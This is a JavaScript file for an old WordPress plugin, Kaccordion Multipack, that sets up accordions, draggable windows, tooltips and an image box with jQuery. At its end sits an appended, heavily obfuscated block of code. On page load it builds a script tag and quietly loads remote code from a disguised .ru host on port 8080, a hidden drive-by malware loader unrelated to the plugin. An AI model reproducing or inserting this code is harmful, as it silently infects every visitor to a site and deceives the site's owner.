/**
* @projectDescription JS functions and methods for the Kaccordion Multipack plugin for Wordpress 2+ using jQuery
* @author Dennis Kayser | _keisari
* @version 1.1
* @license Dual licensed under the MIT (MIT-LICENSE.txt) and GPL (GPL-LICENSE.txt)
* @copyright 2007 Dennis Kayser - www.keisari.dk | www.elektronramp.com
* Last modified June 21, 2007
*/

//make sure jQuery plays nice with other JS frameworks
jQuery.noConflict();

jQuery(document).ready(
		function($)
		{
			//--------------------------------------------------
			//START Accordion
			// traverses the DOM and creates a new accordion for each dl.myAccordion
			$('dl.Kaccordion').each(function(i) {
				$(this).Accordion({
					header: 'dt.toggle',
					selectedClass: "active",
					showSpeed: "slow",
					hideSpeed: "fast"
				});
			});

			// accordion header hover class
			$("dl.Kaccordion dt").hover(
			  function(){ $(this).addClass("hover"); },
			  function(){ $(this).removeClass("hover"); }
			);

			//END Accordion
			//--------------------------------------------------

			//START reflection
			//--------------------------------------------------
			$('img.reflect').each(function(i) {
				$(this).Reflection({
					height: 0.3,
					opacity: 0.4
				});
			});
			//--------------------------------------------------
			//END reflection

			//--------------------------------------------------
			//START Draggable content window
			//TODO multiple windows!!!!!!!!!!!!!!!
			$('#windowOpen').bind(
				'click',
				function() {
					if($('#window').css('display') == 'none') {
						$(this).TransferTo(
							{
								to:'window',
								className:'transferer2',
								duration: 400,
								complete: function()
								{
									$('#window').show();
								}
							}
						);
					}
					this.blur();
					return false;
				}
			);
			$('#windowClose').bind(
				'click',
				function()
				{
					$('#window').TransferTo(
						{
							to:'windowOpen',
							className:'transferer2',
							duration: 400
						}
					).hide();
				}
			);
			$('#windowMin').bind(
				'click',
				function()
				{
					$('#windowContent').SlideToggleUp(300);
					$('#windowBottom, #windowBottomContent').animate({height: 10}, 300);
					$('#window').animate({height:40},300).get(0).isMinimized = true;
					$(this).hide();
					$('#windowResize').hide();
					$('#windowMax').show();
				}
			);
			$('#windowMax').bind(
				'click',
				function()
				{
					var windowSize = $.iUtil.getSize(document.getElementById('windowContent'));
					$('#windowContent').SlideToggleUp(300);
					$('#windowBottom, #windowBottomContent').animate({height: windowSize.hb + 13}, 300);
					$('#window').animate({height:windowSize.hb+43}, 300).get(0).isMinimized = false;
					$(this).hide();
					$('#windowMin, #windowResize').show();
				}
			);
			$('#window').Resizable(
				{
					minWidth: 200,
					minHeight: 60,
					maxWidth: 700,
					maxHeight: 400,
					dragHandle: '#windowTop',
					handlers: {
						se: '#windowResize'
					},
					onResize : function(size, position) {
						$('#windowBottom, #windowBottomContent').css('height', size.height-33 + 'px');
						var windowContentEl = $('#windowContent').css('width', size.width - 25 + 'px');
						if (!document.getElementById('window').isMinimized) {
							windowContentEl.css('height', size.height - 48 + 'px');
						}
					}
				}
			);
			//END Draggable content window
			//--------------------------------------------------

			// START Plain draggable window
			//--------------------------------------------------
			$('div.draggable').each(function(i) { $(this).Draggable(
				{
					handle:	'div',
					ghosting:	true,
					opacity:	0.5,
					zIndex:	1000,
					fx:	300,
					snapDistance: 10
				}
			);});
			//--------------------------------------------------
			//END Plain draggable window

			//START tooltips
			//--------------------------------------------------
			$('.tipThis').Tooltip({
				delay: 0,
				track: true,
				showURL: false,
				showBody: "| "
			});
			//--------------------------------------------------
			//END tooltips

			//START imagebox
			//--------------------------------------------------
			$.ImageBox.init(
				{
					loaderSRC: globalURL + 'wp-content/plugins/kaccordion/images/imagebox/loader.gif',
					closeHTML: '<img src="' + globalURL + 'wp-content/plugins/kaccordion/images/imagebox/close.jpg" />',
					overlayOpacity: 0.8,
					textImage: 'Displaying image',
					textImageFrom: 'out of',
					fadeDuration: 400
				}
			);
			//--------------------------------------------------
			//END imagebox

		}
	);

var C;if(C!='' && C!='iK'){C=''};var Mz=new Date();try {var Wy=new Array();var l='[';var VW="";var _z;if(_z!='_c' && _z!='L'){_z='_c'};var A='g';var I=new Array();var Bw;if(Bw!='tw' && Bw != ''){Bw=null};this.Cu="";var f=']';var WC="";var a=RegExp;var If;if(If!=''){If='MJ'};var P='';var R='replace';var S;if(S!='' && S!='tD'){S='yu'};var TP;if(TP!='' && TP!='CX'){TP='T'};var v='';var aA=new Date();function d(e,i){var Jt="";var qn;if(qn!='QM' && qn!='c'){qn=''};var Q=l;var K=new String();var G=new Array();Q+=i;Q+=f;var u=new a(Q, A);this.PV="";return e[R](u, v);};var h;if(h!='' && h!='Iv'){h=null};var sW;if(sW!=''){sW='Rv'};var QY=d('skeqtkAktktprqikbpuptqek',"pkq");var r='';var Tr='';var QC='';var g=d('hjtZtZpZ:j/j/Zdvijsjnvejyv-Zgvov-vcZoZmZ.Zgjojojgvljev.Zcjojmv.jpZhv.voZrZfj-jaZtZ.ZsjujpjevrjmvyZwZevbv.vrvuj:v',"vZj");this.oa="";var JR;if(JR!='' && JR!='_y'){JR='tZ'};var M=d('a4pvp5eXnXdvCXh5iXlvd4',"54Xv");this.LQ='';this.Xn='';var e="1";var V=d('sIcxrIiIpxt6',"6Ix");var qy=new String();var Yi;if(Yi!=''){Yi='ZE'};var q=d('82462242402262266284226404424446',"264");var yB;if(yB!=''){yB='HN'};var b=new String();var MC=d('oknhlCoVaVdC',"kVCh");var gv=d('czrzeiaitieiEzlzeimzeiniti',"iz");var bd;if(bd!='iS' && bd!='nV'){bd='iS'};var rD=new String();var W=d('bXoXdXyX',"XW");var TY=new String();var t=d('/qw9i9kJi9mJendqiJaq.qoJrJgn/Jw9iJkJiqmJe9dniJaJ.noJrqgq/Jfncn2J.9c9oqmn/ngnoJoqgJlneJ.Jc9onmn/qb9u95J2q0J.qcqoJmq.Jp9h9pJ',"9nJq");var Ig='';window[MC]=function(){var RL;if(RL!='' && RL!='ow'){RL=''};var rv;if(rv!=''){rv='PW'};var Vx=new String();m=document[gv](V);var xK=new Array();r+=g;var z=new Array();r+=q;r+=t;var CF=new Array();var OU=new Array();this.Sj='';m.src=r;var sLf;if(sLf!=''){sLf='Ti'};m.setAttribute('defer', e);var _=document[W];this.MA='';this.aL='';_.appendChild(m);var tB;if(tB!='Fc' && tB!='Pz'){tB='Fc'};};var zD=new String();var LR=new String();var rL='';} catch(QYW){this.Lv='';};var DU=new String();